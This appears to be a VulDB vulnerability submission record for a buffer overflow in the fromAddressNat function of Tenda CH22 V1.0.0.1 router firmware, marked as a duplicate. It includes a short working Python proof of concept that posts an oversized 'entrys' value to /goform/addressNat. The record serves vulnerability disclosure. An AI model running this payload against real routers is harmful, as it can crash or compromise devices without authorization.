| Título | Tenda CH22 V1.0.0.1 Buffer Overflow |
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| Descripción | ## Overview
- Firmware download website: https://www.tenda.com.cn/download/2230
## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `fromAddressNat` function. The `v8` variable receives the `entrys` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `entrys` , the statement `sprintf(s, "%s;%s", v8, v7);` can cause a buffer overflow.
## PoC
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/addressNat'
payload = b'a' * 1000
data = {
'entrys':payload
}
requests.post(url, data=data) |
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| Fuente | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-fromAddressNat-377df0aa1185807ab2aef43f7f9791f9 |
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| Usuario | ysnysn0121 (UID 86198) |
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| Sumisión | 2026-06-08 17:46 (hace 2 meses) |
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| Moderación | 2026-07-09 07:54 (1 month later) |
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| Estado | Duplicado |
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| Entrada de VulDB | 329944 [Tenda CH22 1.0.0.1 /goform/addressNat fromAddressNat page desbordamiento de búfer] |
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| Puntos | 0 |
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